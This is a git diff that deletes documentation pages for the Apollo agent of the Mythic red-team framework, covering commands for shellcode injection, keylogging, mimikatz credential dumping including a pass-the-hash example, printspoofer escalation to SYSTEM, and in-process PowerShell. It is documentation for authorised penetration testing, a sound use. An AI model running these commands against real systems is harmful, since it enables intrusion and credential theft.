deleted file mode 100644 index 71ddee9a..00000000 Binary files a/documentation-payload/apollo/commands/images/powerpick01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/powershell.png b/documentation-payload/apollo/commands/images/powershell.png deleted file mode 100644 index 3b23b385..00000000 Binary files a/documentation-payload/apollo/commands/images/powershell.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ppid.png b/documentation-payload/apollo/commands/images/ppid.png deleted file mode 100644 index a24fffe6..00000000 Binary files a/documentation-payload/apollo/commands/images/ppid.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/printspoofer.png b/documentation-payload/apollo/commands/images/printspoofer.png deleted file mode 100644 index 42dff73c..00000000 Binary files a/documentation-payload/apollo/commands/images/printspoofer.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ps.png b/documentation-payload/apollo/commands/images/ps.png deleted file mode 100644 index 5e95f773..00000000 Binary files a/documentation-payload/apollo/commands/images/ps.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ps_full.png b/documentation-payload/apollo/commands/images/ps_full.png deleted file mode 100644 index 2a7fd775..00000000 Binary files a/documentation-payload/apollo/commands/images/ps_full.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ps_full02.png b/documentation-payload/apollo/commands/images/ps_full02.png deleted file mode 100644 index c5255407..00000000 Binary files a/documentation-payload/apollo/commands/images/ps_full02.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ps_full03.png b/documentation-payload/apollo/commands/images/ps_full03.png deleted file mode 100644 index 5505d6a1..00000000 Binary files a/documentation-payload/apollo/commands/images/ps_full03.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/psexec01.png b/documentation-payload/apollo/commands/images/psexec01.png deleted file mode 100644 index 0dd5cf95..00000000 Binary files a/documentation-payload/apollo/commands/images/psexec01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/psinject.png b/documentation-payload/apollo/commands/images/psinject.png deleted file mode 100644 index a9450191..00000000 Binary files a/documentation-payload/apollo/commands/images/psinject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_query.png b/documentation-payload/apollo/commands/images/reg_query.png deleted file mode 100644 index b983ed33..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_query.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_query2.png b/documentation-payload/apollo/commands/images/reg_query2.png deleted file mode 100644 index d85bc9f1..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_query2.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_query_disp.png b/documentation-payload/apollo/commands/images/reg_query_disp.png deleted file mode 100644 index 0d1e7c5a..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_query_disp.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_query_subkeys.png b/documentation-payload/apollo/commands/images/reg_query_subkeys.png deleted file mode 100644 index 5f1633d3..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_query_subkeys.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_query_values.png b/documentation-payload/apollo/commands/images/reg_query_values.png deleted file mode 100644 index 7f0183d1..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_query_values.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/reg_write_value.png b/documentation-payload/apollo/commands/images/reg_write_value.png deleted file mode 100644 index 2618af4a..00000000 Binary files a/documentation-payload/apollo/commands/images/reg_write_value.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/register_file.png b/documentation-payload/apollo/commands/images/register_file.png deleted file mode 100644 index 124b08a2..00000000 Binary files a/documentation-payload/apollo/commands/images/register_file.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/rm.png b/documentation-payload/apollo/commands/images/rm.png deleted file mode 100644 index dc060494..00000000 Binary files a/documentation-payload/apollo/commands/images/rm.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/run.png b/documentation-payload/apollo/commands/images/run.png deleted file mode 100644 index a183a82c..00000000 Binary files a/documentation-payload/apollo/commands/images/run.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_create.png b/documentation-payload/apollo/commands/images/sc_create.png deleted file mode 100644 index 644d867f..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_create.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_delete.png b/documentation-payload/apollo/commands/images/sc_delete.png deleted file mode 100644 index 9a9e5ab5..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_delete.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_modify.png b/documentation-payload/apollo/commands/images/sc_modify.png deleted file mode 100755 index db39b999..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_modify.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_query.png b/documentation-payload/apollo/commands/images/sc_query.png deleted file mode 100644 index 6235deb1..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_query.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_start.png b/documentation-payload/apollo/commands/images/sc_start.png deleted file mode 100644 index c6fddd6e..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_start.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/sc_stop.png b/documentation-payload/apollo/commands/images/sc_stop.png deleted file mode 100644 index 23b64cd8..00000000 Binary files a/documentation-payload/apollo/commands/images/sc_stop.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/screenshot_inject.png b/documentation-payload/apollo/commands/images/screenshot_inject.png deleted file mode 100644 index 7a344433..00000000 Binary files a/documentation-payload/apollo/commands/images/screenshot_inject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/shinject.png b/documentation-payload/apollo/commands/images/shinject.png deleted file mode 100644 index b37ec93f..00000000 Binary files a/documentation-payload/apollo/commands/images/shinject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/socks.png b/documentation-payload/apollo/commands/images/socks.png deleted file mode 100644 index 3c088a88..00000000 Binary files a/documentation-payload/apollo/commands/images/socks.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/spawnto_x64.png b/documentation-payload/apollo/commands/images/spawnto_x64.png deleted file mode 100644 index 525ff78a..00000000 Binary files a/documentation-payload/apollo/commands/images/spawnto_x64.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/spawnto_x86.png b/documentation-payload/apollo/commands/images/spawnto_x86.png deleted file mode 100644 index 2b0acfe0..00000000 Binary files a/documentation-payload/apollo/commands/images/spawnto_x86.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/unlink.png b/documentation-payload/apollo/commands/images/unlink.png deleted file mode 100644 index 3806c5fc..00000000 Binary files a/documentation-payload/apollo/commands/images/unlink.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/upload.png b/documentation-payload/apollo/commands/images/upload.png deleted file mode 100644 index 59af4199..00000000 Binary files a/documentation-payload/apollo/commands/images/upload.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/whoami.png b/documentation-payload/apollo/commands/images/whoami.png deleted file mode 100644 index fba96a1b..00000000 Binary files a/documentation-payload/apollo/commands/images/whoami.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/inject.md b/documentation-payload/apollo/commands/inject.md deleted file mode 100644 index 9a5c5119..00000000 --- a/documentation-payload/apollo/commands/inject.md +++ /dev/null @@ -1,32 +0,0 @@ -+++ -title = "inject" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary -Inject agent shellcode into a specified process. - -### Arguments (Popup) - -![args](../images/inject.png) - -#### PID -The target process's ID to inject the agent into. - -#### Payload Template -The template to generate new shellcode from. Note: The template _must_ be shellcode for inject to succeed. This is the "Raw" output type when building Apollo. - -## Usage -``` -inject -``` - -## MITRE ATT&CK Mapping - -- T1055 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/inline_assembly.md b/documentation-payload/apollo/commands/inline_assembly.md deleted file mode 100644 index 13ce80a2..00000000 --- a/documentation-payload/apollo/commands/inline_assembly.md +++ /dev/null @@ -1,50 +0,0 @@ -+++ -title = "inline_assembly" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary - -Execute a .NET Framework assembly in-process with the specified arguments. This assembly must first be cached in the agent using the `register_assembly` command before being executed. - -{{% notice warning %}} -This command does not patch Environment.Exit, and as a result, should the assembly call this function, the agent itself will exit. -{{% /notice %}} - -### Arguments - -![exeasm](../images/inline_assembly.png) - -#### Assembly -The name of the assembly to execute. This must match the file name used with `register_file`. - -#### Arguments (optional) -Arguments to pass to the assembly. - -## Usage -``` -inline_assembly -Assembly [assembly_name] -Arguments [arguments] -inline_assembly [assembly_name] [arguments] -``` - -Example -``` -inline_assembly SeatBelt.exe --groups=all -``` - - -## MITRE ATT&CK Mapping - -- T1547 - - -## Special Thanks -Mayllart submitted the initial PR for this module. You can find him on his socials here: - -Social | Handle --------|------- -Github|https://github.com/thiagomayllart -Twitter|[@thiagomayllart](https://twitter.com/thiagomayllart) -BloodHoundGang Slack|@Mayllart \ No newline at end of file diff --git a/documentation-payload/apollo/commands/jobkill.md b/documentation-payload/apollo/commands/jobkill.md deleted file mode 100644 index f5b7489d..00000000 --- a/documentation-payload/apollo/commands/jobkill.md +++ /dev/null @@ -1,16 +0,0 @@ -+++ -title = "jobkill" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Kill a running job for an agent. - -## Usage (Positional) -``` -jobkill [task_id_guid] -``` - -![jobs](../images/jobs.png) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/jobs.md b/documentation-payload/apollo/commands/jobs.md deleted file mode 100644 index 362020a0..00000000 --- a/documentation-payload/apollo/commands/jobs.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "jobs" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve a list of the agent's current running jobs. This list will not include `jobs` or `jobkill` related jobs. - -## Usage -``` -jobs -``` - -## Detailed Summary -The `jobs` command will retrieve a list of active running jobs, their parameters, and their associated process identifiers if the job required a sacrificial process. - -![jobs](../images/jobs.png) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/keylog_inject.md b/documentation-payload/apollo/commands/keylog_inject.md deleted file mode 100644 index f2e57298..00000000 --- a/documentation-payload/apollo/commands/keylog_inject.md +++ /dev/null @@ -1,42 +0,0 @@ -+++ -title = "keylog" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary -Start a keylogger in a specified process. - -### Arguments (Positional) -#### PID -The target process's ID to inject the keylogging stub. - -## Usage -``` -keylog_inject -PID [pid] -``` -Example -``` -keylog -PID 1234 -``` - - -## MITRE ATT&CK Mapping - -- T1056 - -## Artifacts - -- Process Inject - -## Detailed Summary -The `keylog` command uses the `GetAsyncKeyState` Windows API to log keystrokes and send them back to Mythic. This is done with a stand alone .NET assembly that is loaded with the CLR loader stub used for `execute_assembly`. The CLR loader is injected into the specified process and executes the keylogger assembly, which in turn will begin logging keystrokes and sending them over a named pipe to the agent. - -Keystrokes can be found in the `Operational Views > Kelogs` page. These keystrokes are sorted by host, then user, then window title. When new keystrokes are retrieved, a balloon notification will appear in the top right notifying you of the new keystrokes. - -![keylogs](../images/keylog01.png) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/kill.md b/documentation-payload/apollo/commands/kill.md deleted file mode 100644 index 5e8e8490..00000000 --- a/documentation-payload/apollo/commands/kill.md +++ /dev/null @@ -1,27 +0,0 @@ -+++ -title = "kill" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Kill -{{% /notice %}} - -## Summary -Kill a process by process ID. - -## Usage (Positional) -``` -kill [pid] -``` -Example -``` -kill 1234 -``` - - -## MITRE ATT&CK Mapping - -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/link.md b/documentation-payload/apollo/commands/link.md deleted file mode 100644 index 92914ee3..00000000 --- a/documentation-payload/apollo/commands/link.md +++ /dev/null @@ -1,47 +0,0 @@ -+++ -title = "link" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Network Connection -{{% /notice %}} - -## Summary -Link or re-link an agent to callback. - -### Arguments (Popup) -#### Host -Select the host running an agent to connect too. - -#### Payload -Select the payload template that is associated with the running payload on the remote host. This determines what P2P profile to connect to. - -## Usage -``` -link -``` -In pop up menu -``` -Host: [drop down list of hosts] -Payload: [drop down list of payloads] -``` - -Exmaple -``` -link -``` -In pop up menu -``` -Host: client01.shire.local -Payload: Apollo_SMB.exe -``` - - -## MITRE ATT&CK Mapping - -- T1570 -- T1572 -- T1021 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/listpipes.md b/documentation-payload/apollo/commands/listpipes.md deleted file mode 100644 index e6b237f5..00000000 --- a/documentation-payload/apollo/commands/listpipes.md +++ /dev/null @@ -1,78 +0,0 @@ -+++ -title = "listpipes" -chapter = false -weight = 150 -hidden = false -+++ - -## Summary -The `listpipes` function enumerates all named pipes on the local Windows host using the `FindFirstFileW` API on the `\\.\\pipe\\*` namespace. Named pipes are commonly used for inter-process communication (IPC), and this function helps discover active communication endpoints used by system services, applications, or malicious software. - -- **Needs Admin:** False -- **Version:** 1 -- **Author:** @ToweringDragoon - -### Arguments -This command takes no arguments. - -## Usage -### Example: Listing Named Pipes on the Local Machine -**Command:** -```c -listpipes -``` - -**Output:** -```plaintext -Found 56 named pipes: -InitShutdown -lsass -ntsvcs -scerpc -spoolss -wkssvc -srvsvc -... -``` - -## MITRE ATT&CK Mapping -- **T1083** - File and Directory Discovery (As named pipes are part of the Windows object namespace) - -## Detailed Summary -The `listpipes` task queries the Windows named pipe namespace using the `FindFirstFileW("\\\\.\\pipe\\*")` API. This method allows the agent to list active named pipe objects from user mode without relying on NT Native API calls like `NtQueryDirectoryObject`, which often fail or require elevated access. - -### Functional Steps: - -1. **Initialize Pipe Search:** - - Calls `FindFirstFileW("\\.\\pipe\\*")` to begin enumeration of named pipe objects. - -2. **Iterate Through Pipe Names:** - - Uses `FindNextFileW` in a loop to collect all entries under the `\\.\\pipe\\` namespace. - -3. **Filter Results:** - - Trims null terminators. - - Filters out invalid or malformed names (though the default implementation includes everything unless manually filtered). - -4. **Return Results:** - - Aggregates all valid pipe names and returns a summary string in the format: `Found X named pipes:` followed by newline-separated pipe names. - -5. **Error Handling:** - - If `FindFirstFileW` fails, the function throws an exception with the associated Win32 error code. - -## APIs Used and Their Purposes -| API | Purpose | DLL | Documentation | -|------|---------|-----|--------------| -| `FindFirstFileW` | Begins enumeration of pipe names under `\\.\\pipe\\` | kernel32.dll | [FindFirstFileW](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirstfilew) | -| `FindNextFileW` | Continues enumeration of named pipes | kernel32.dll | [FindNextFileW](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextfilew) | -| `FindClose` | Closes the pipe enumeration handle | kernel32.dll | [FindClose](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findclose) | -| `Marshal.GetLastWin32Error` | Captures last error code after Win32 API failure | mscorlib.dll | [GetLastWin32Error](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getlastwin32error) | - -## Considerations -- **Permissions:** This command does not require administrative privileges. However, access to specific pipes may still be restricted based on ACLs. -- **OPSEC:** Enumerating named pipes may cause suspicious handle access logs to appear in security monitoring tools or EDRs. -- **Performance:** This is a lightweight operation and generally completes quickly unless the system has an extremely large number of named pipes. - -## References -- [Windows Named Pipes](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes) -- [NT Object Namespace](https://learn.microsoft.com/en-us/windows/win32/sysinfo/object-namespaces) -- [Sysinternals PipeList Tool](https://learn.microsoft.com/en-us/sysinternals/downloads/pipelist) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/load.md b/documentation-payload/apollo/commands/load.md deleted file mode 100644 index 9afa7139..00000000 --- a/documentation-payload/apollo/commands/load.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "load" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Load commands that weren't included in Apollo during build time into a specific callback. This doesn't affect any other callbacks. - -### Arguments - -#### Commands -Specify the names of the commands you want to load. - -## Usage -``` -load -Commands listpipes -Commands link -``` - -## MITRE ATT&CK Mapping diff --git a/documentation-payload/apollo/commands/ls.md b/documentation-payload/apollo/commands/ls.md deleted file mode 100644 index 939a98f1..00000000 --- a/documentation-payload/apollo/commands/ls.md +++ /dev/null @@ -1,35 +0,0 @@ -+++ -title = "ls" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -List files and folders in a specified directory. This will also populate Mythic's file browser cache. - -### Arguments (Positional) -#### path -Specify what path you want to list the contents of. If not specified, this will default to the current working directory. This parameter also accepts UNC paths, such as `\\DC01\C$` - -## Usage -``` -ls [path] -``` - -## Example -![ls from command line](../images/ls01.png) - -When clicking on the three-users icon under the "Permissions" tab, you'll see the associated ACLs for that file. - -![ACLs for an object](../images/ls02.png) - -This command is also integrated into the Mythic file browser. - -![File browser](../images/filebrowser.png) - - -## MITRE ATT&CK Mapping - -- T1106 -- T1083 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/make_token.md b/documentation-payload/apollo/commands/make_token.md deleted file mode 100644 index d3925029..00000000 --- a/documentation-payload/apollo/commands/make_token.md +++ /dev/null @@ -1,28 +0,0 @@ -+++ -title = "make_token" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Plaintext Credential Logon -{{% /notice %}} - -## Summary -Create a new logon session for the current thread with supplied credentials. - -### Arguments (Popup) -#### Credential -To use credentials, they must be inputted into Mythic's credential store. The credential store is populated either manually or from Mimikatz. - -## Usage -``` -make_token -``` -Select credentials from drop down list. - - -## MITRE ATT&CK Mapping - -- T1134 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/mimikatz.md b/documentation-payload/apollo/commands/mimikatz.md deleted file mode 100644 index 3444b812..00000000 --- a/documentation-payload/apollo/commands/mimikatz.md +++ /dev/null @@ -1,53 +0,0 @@ -+++ -title = "mimikatz" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary -Execute one or more mimikatz commands. - -### Arguments (Positional) -#### Command -The command you would like mimikatz to run. Some commands require certain privileges and may need the `token::elevate` Mimikatz command or the builtin equivalent [`getprivs`](/agents/apollo/commands/getprivs/) to be executed first. - -The `mimikatz` binary takes space-separated commands. For example, if you wanted to ensure your token had the correct privileges before dumping LSASS, you could do `mimikatz token::elevate sekurlsa::logonpasswords` to first elevate your token before running `logonpasswords`. Due to this space-separated command list, if you wish to run a command that has arguments (or spaces in its command name), you'll need to encapsulate that command in _escaped_ quotes. - -## Usage -``` -mimikatz -Command [command] -``` - -Example -``` -mimikatz sekurlsa::logonpasswords -mimikatz -Command sekurlsa::logonpasswords - -# Running one or more commands with spaces in the command name - -mimikatz -Command \"privilege::debug\" \"sekurlsa::pth /domain:DOMAIN /user:USERNAME /ntlm:HASH\" exit -``` - -## See Also -- [dcsync](/agents/apollo/commands/dcsync/) -- [pth](/agents/apollo/commands/dcsync/) - -## MITRE ATT&CK Mapping - -- T1134 -- T1098 -- T1547 -- T1555 -- T1003 -- T1207 -- T1558 -- T1552 -- T1550 - -### Resrouces -- [mimikatz](https://github.com/gentilkiwi/mimikatz) diff --git a/documentation-payload/apollo/commands/mkdir.md b/documentation-payload/apollo/commands/mkdir.md deleted file mode 100644 index afdc8b13..00000000 --- a/documentation-payload/apollo/commands/mkdir.md +++ /dev/null @@ -1,31 +0,0 @@ -+++ -title = "mkdir" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Create -{{% /notice %}} - -## Summary -Make a directory at the specified path. - -### Arguments (Positional) -#### path -Path to the directory to create. - -## Usage -``` -mkdir -Path [path] -``` -Example -``` -mkdir C:\config -mkdir -Path C:\Users\Public\secret -``` - -## MITRE ATT&CK Mapping - -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/mv.md b/documentation-payload/apollo/commands/mv.md deleted file mode 100644 index f6325958..00000000 --- a/documentation-payload/apollo/commands/mv.md +++ /dev/null @@ -1,43 +0,0 @@ -+++ -title = "mv" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Open, File Write, File Delete -{{% /notice %}} - -## Summary -Move a specified file to another location. - -### Arguments (Positional or Popup) -#### Path -The path of the original file to be moved. - -#### Destination -The path to move the file to. - -## Usage -``` -mv -``` -In the pop up menu -``` -destination: [path to file] -source: [path to file] -``` -Example -``` -mv -``` -In the pop up menu -``` -destination: C:\config.txt -source: C:\Windows\Temp\config.txt -``` - -## MITRE ATT&CK Mapping - -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_dclist.md b/documentation-payload/apollo/commands/net_dclist.md deleted file mode 100644 index 3e21053b..00000000 --- a/documentation-payload/apollo/commands/net_dclist.md +++ /dev/null @@ -1,28 +0,0 @@ -+++ -title = "net_dclist" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Collect information on domain controllers from the current or a specified domain - -### Arguments (Positional) -#### domain (optional) -Specify the domain to collect domain controller information from. This will default to the current domain if one is not supplied. - -## Usage -``` -net_dclist [domain] -``` -Example -``` -net_dclist lab.local -``` -![net_dclist](../images/net_dclist.png) - - -## MITRE ATT&CK Mapping - -- T1590 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_localgroup.md b/documentation-payload/apollo/commands/net_localgroup.md deleted file mode 100644 index 7cd6d774..00000000 --- a/documentation-payload/apollo/commands/net_localgroup.md +++ /dev/null @@ -1,32 +0,0 @@ -+++ -title = "net_localgroup" -chapter = false -weight = 103 -hidden = false -+++ - -# net_localgroup - -## Summary -Collect information on local groups for a specified computer. - -### Arguments (Positional) -#### Computer (optional) -Specify the computer to collect group information from. This will default to the localhost if one is not supplied. - -## Usage -``` -net_localgroup [computer] -``` -Example -``` -net_localgroup client01.lab.local -``` - -![net_localgroup](../images/net_localgroup.png) - - -## MITRE ATT&CK Mapping - -- T1590 -- T1069 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_localgroup_member.md b/documentation-payload/apollo/commands/net_localgroup_member.md deleted file mode 100644 index 541f84b3..00000000 --- a/documentation-payload/apollo/commands/net_localgroup_member.md +++ /dev/null @@ -1,35 +0,0 @@ -+++ -title = "net_localgroup_member" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Collect membership of local groups on a specified computer. - -### Arguments - -#### Group - -Name of group to query for membership. - -#### Computer (optional) - -Specify the computer to collect group information from. This will default to the localhost if one is not supplied. - -## Usage -``` -net_localgroup_member [computer] [group] -``` - -![net_localgroup_member command](../images/net_localgroup_member.png) - - -## MITRE ATT&CK Mapping - -- T1590 -- T1069 - -## Detailed Summary -The `net_localgroup_member` command uses `NetLocalGroupGetMembers` Windows API to collect information about local group membership on a specified host. This information includes the member's name, group name, SID, if the member is a group and what computer it was collected from. \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_shares.md b/documentation-payload/apollo/commands/net_shares.md deleted file mode 100644 index 771a7a30..00000000 --- a/documentation-payload/apollo/commands/net_shares.md +++ /dev/null @@ -1,30 +0,0 @@ -+++ -title = "net_shares" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Collect information on network shares for a specified host. - -### Arguments (Positional) -#### Computer -Specify the computer to collect network shares information from. - -## Usage -``` -net_shares [computer] -``` -Example -``` -net_shares client01.lab.local -``` - -![net_shares](../images/net_shares.png) - - -## MITRE ATT&CK Mapping - -- T1590 -- T1069 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/netstat.md b/documentation-payload/apollo/commands/netstat.md deleted file mode 100644 index b20e25d4..00000000 --- a/documentation-payload/apollo/commands/netstat.md +++ /dev/null @@ -1,38 +0,0 @@ -+++ -title = "netstat" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Task an agent to retrieve network connections. - -### Arguments - -The `netstat`has multiple boolean flags to filter what data gets returned. - -- `-Tcp` -- `-Udp` -- `-Listen` -- `-Established` - -#### Tcp (optional) -Only return TCP results. - -#### Udp (optional) -Only return UDP results. - -#### Listen (optional) -Only return results that have a TCP state of `Listen`. - -#### Established (optional) -Only return results that have a TCP state of `Established`. - -## Usage -``` -netstat -``` - -## Detailed Summary -The `netstat` command uses the Win32 API calling `GetExtendedTcpTable` and `GetExtendedUdpTable` from `iphlpapi.dll` to retrieve netstat. diff --git a/documentation-payload/apollo/commands/powerpick.md b/documentation-payload/apollo/commands/powerpick.md deleted file mode 100644 index f85d1789..00000000 --- a/documentation-payload/apollo/commands/powerpick.md +++ /dev/null @@ -1,29 +0,0 @@ -+++ -title = "powerpick" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary -Execute PowerShell commands as post-exploitation job. This command will import the most recently registered `*.ps1` file registered using `register_file` and import it into the PowerShell runspace before execution. - -### Arguments (Positional) -#### command -PowerShell command to be executed. - -## Usage -``` -powerpick [command] -powerpick -Command [command] -``` - - -## MITRE ATT&CK Mapping - -- T1059 -- T1562 diff --git a/documentation-payload/apollo/commands/powershell.md b/documentation-payload/apollo/commands/powershell.md deleted file mode 100644 index df0ba8aa..00000000 --- a/documentation-payload/apollo/commands/powershell.md +++ /dev/null @@ -1,31 +0,0 @@ -+++ -title = "powershell" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Run PowerShell commands in the current running process. - -### Arguments (Positional) -#### Command -PowerShell command to be executed. - -## Usage -``` -powershell [command] -powershell -Command [command] -``` - -Example -``` -powershell Get-Process -``` - -## MITRE ATT&CK Mapping - -- T1059 - -## Detailed Summary -The `powershell` creates a new PowerShell runspace **within the Apollo process** to execute given PowerShell commands. Any PowerShell scripts loaded with the [`psimport`](/agents/apollo/commands/psimport/) command will be loaded into the runspace before command execution, giving access to any cmdlets within those scripts. This method also bypasses the system's PowerShell execution settings before executing commands. PowerShellv4 is used by default. diff --git a/documentation-payload/apollo/commands/powershell_import.md b/documentation-payload/apollo/commands/powershell_import.md deleted file mode 100644 index 2138d0a1..00000000 --- a/documentation-payload/apollo/commands/powershell_import.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "powershell_import" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Cache a .ps1 file to be used in other post-exploitation jobs. This command is a thin wrapper around the [`register_file`](/agents/apollo/commands/register_file/) command. - -By default, these files are cached in the agent using both AES256 at rest, and decrypted only for task execution. - -### Arguments (Popup) -#### File -The file to cache in the agent for post-ex jobs. - -## MITRE ATT&CK Mapping - -- T1547 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ppid.md b/documentation-payload/apollo/commands/ppid.md deleted file mode 100644 index 66cfe9dc..00000000 --- a/documentation-payload/apollo/commands/ppid.md +++ /dev/null @@ -1,16 +0,0 @@ -+++ -title = "ppid" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Set the parent process to the specified process identifier for all post-exploitation jobs. - -If the process ID specified is not the same as Apollo's session, this function call will fail. Moreover, there are some SEH exceptions I can't track down and they all stem from using impersonated tokens and attempting to spoof logons. Due to that fact, if you are using an impersonated security context in any capacity, Apollo will default back to the current executing process for its parent. I have attempted to put as many guard rails as possible on this, but I'm certain I've missed some edge cases. Careful! - -## Usage -``` -ppid [pid] -``` \ No newline at end of file diff --git a/documentation-payload/apollo/commands/printspoofer.md b/documentation-payload/apollo/commands/printspoofer.md deleted file mode 100644 index 101b2b94..00000000 --- a/documentation-payload/apollo/commands/printspoofer.md +++ /dev/null @@ -1,28 +0,0 @@ -+++ -title = "printspoofer" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary -Inject a [printspoofer](https://github.com/itm4n/PrintSpoofer) DLL to execute a given command as SYSTEM. This will only succeed if the user has `SE_IMPERSONATE` privileges. - -This DLL is injected with respect to the current injection technique, and spawns a sacrificial process designated by the `spawnto_*` commands. - -## Usage -``` -printspoofer [printspoofer args] -``` - -## MITRE ATT&CK Mapping - -- T1547 - -## References - -- https://github.com/itm4n/PrintSpoofer \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ps.md b/documentation-payload/apollo/commands/ps.md deleted file mode 100644 index 55de78f5..00000000 --- a/documentation-payload/apollo/commands/ps.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "ps" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve list of running processes. - -## Usage -``` -ps -``` - -![ps](../images/ps.png) - - -## MITRE ATT&CK Mapping - -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/psinject.md b/documentation-payload/apollo/commands/psinject.md deleted file mode 100644 index 9fb31122..00000000 --- a/documentation-payload/apollo/commands/psinject.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = "psinject" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary -Execute PowerShell commands in a remote process. Leverages the currently set injection technique to inject the PowerShell loader. - -### Arguments (Positional or Popup) -#### PID -Target process ID. - -#### Command -PowerShell command to be executed. - -## Usage -``` -psinject -PID [pid] -Command [command] -``` - -Example -``` -psinject -PID 1234 -Command Get-Process -``` - - -## MITRE ATT&CK Mapping - -- T1059 -- T1055 diff --git a/documentation-payload/apollo/commands/pth.md b/documentation-payload/apollo/commands/pth.md deleted file mode 100644 index 545bd4fb..00000000 --- 